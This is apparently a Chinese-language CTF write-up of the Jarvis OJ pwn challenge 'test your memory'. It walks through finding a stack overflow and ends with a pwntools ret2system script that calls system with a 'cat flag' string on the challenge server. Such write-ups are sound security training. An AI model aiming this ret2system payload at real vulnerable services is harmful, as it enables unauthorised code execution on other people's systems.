Jarvis OJ-pwn test your memory

pwn test your memory

  1. 运行一下
    Jarvis OJ-pwn test your memory
  2. 检查保护机制
    Jarvis OJ-pwn test your memory
    只开启堆栈不可执行保护。
  3. 观察反汇编代码,main函数里随机产生一串字符串,然后调用mem_test进行检测。
    Jarvis OJ-pwn test your memory
  4. mem_test函数,先打印一个地址(hint),再输入s,这里存在栈溢出漏洞,然后输入的s与随机产生的字符串比较。
    Jarvis OJ-pwn test your memory
  5. 点进hint,提示是cat flag命令,可以获得flag
    Jarvis OJ-pwn test your memory
  6. 程序中已有system函数。
    Jarvis OJ-pwn test your memory
  7. 利用栈溢出,有system函数和cat flag地址,调用system函数,令其参数为cat flag地址,构造利用脚本如下:
from pwn import *
r = remote("pwn2.jarvisoj.com",9876)
sys_addr = 0x8048440
cat_flag = 0x80487e0
payload = 'a'*0x13+'bbbb'+p32(sys_addr)+p32(0x08048677)+p32(cat_flag)
r.sendline(payload)
r.interactive()
Jarvis OJ-pwn test your memoryJarvis OJ-pwn test your memory hanqdi_ 发布了29 篇原创文章 · 获赞 10 · 访问量 4306 私信 关注
上一篇:笔记向——PWN jarvis oj level1


下一篇:XCTF pwn level2